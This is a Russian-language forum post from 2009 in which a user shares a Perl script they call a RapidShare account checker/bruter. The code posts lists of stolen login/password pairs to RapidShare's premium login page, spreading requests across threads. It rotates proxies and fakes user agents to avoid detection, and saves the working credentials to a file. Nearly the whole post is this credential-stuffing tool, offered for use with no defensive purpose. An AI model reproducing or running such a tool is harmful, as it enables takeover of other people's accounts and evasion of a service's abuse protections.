
16.09.2009, 18:47
|
|
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме: 1420275
Репутация:
127
|
|
Писал когда то чекер/брутер акков рапиды
Код:
#!/usr/bin/perl
#RapidShare.com checker by Gaus
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
use Fcntl ':flock';
#################################################
my $threads_count = 1; # Кол-во потоков
my $file_accounts = 'accs.txt'; # Файл с акками
my $file_valid_accounts = 'valid.txt'; # Файл с валидными акками
my $delm_accounts = ';'; # Разделитель списка акков
my $proxy_file = 'proxy.txt'; # Файл с прокси
my $proxy_mode = 'OFF'; # Юзать прокси(ON/OFF)
#################################################
my @accs : shared = lf($file_accounts);
my @proxys : shared = lf($proxy_file);
threads->new(\&main) for 1 .. $threads_count;
$_->join for threads->list;
sub main
{
while(@accs)
{
my $ua = LWP::UserAgent->new(timeout => 35,
cookie_jar => new HTTP::Cookies,
agent => agent());
if($proxy_mode eq 'ON')
{
until(proxy($ua)){}
}
my ($login, $pass) = split $delm_accounts => shift @accs;
my $answ = $ua->post("https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi",
["uselandingpage" => 1,
"login" => $login,
"password" => $pass])->code;
if($answ == 302)
{
wf($file_valid_accounts, "$login:$pass\n");
print "[ + ] $login:$pass\n";
}
else
{
print "[ - ] $login:$pass\n";
}
}
}
sub proxy
{
my $ua = shift;
my ($ip,$port) = split ':' => $proxys[rand scalar @proxys];
$ua->proxy('http' => "http://$ip:$port");
my $test = $ua->get('http://zerg.helllabs.com.ua/cgi-bin/textenv.pl')->content;
if($test =~ m,REMOTE_ADDR=$ip,i)
{
print "[ + ] Current proxy: $ip:$port\n";
return 1;
}
else
{
print "[ - ] Error proxy: $ip:$port\n";
return 0;
}
}
sub agent
{
my @agents = qw(Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0);
return $agents[rand scalar @agents];
}
sub lf
{
open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n";
chomp(my @data = <$dat>);
close $dat;
return @data;
}
sub wf
{
open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
flock $dat, LOCK_EX;
print $dat $_[1];
flock $dat, LOCK_UN;
close $dat;
}
|
|
|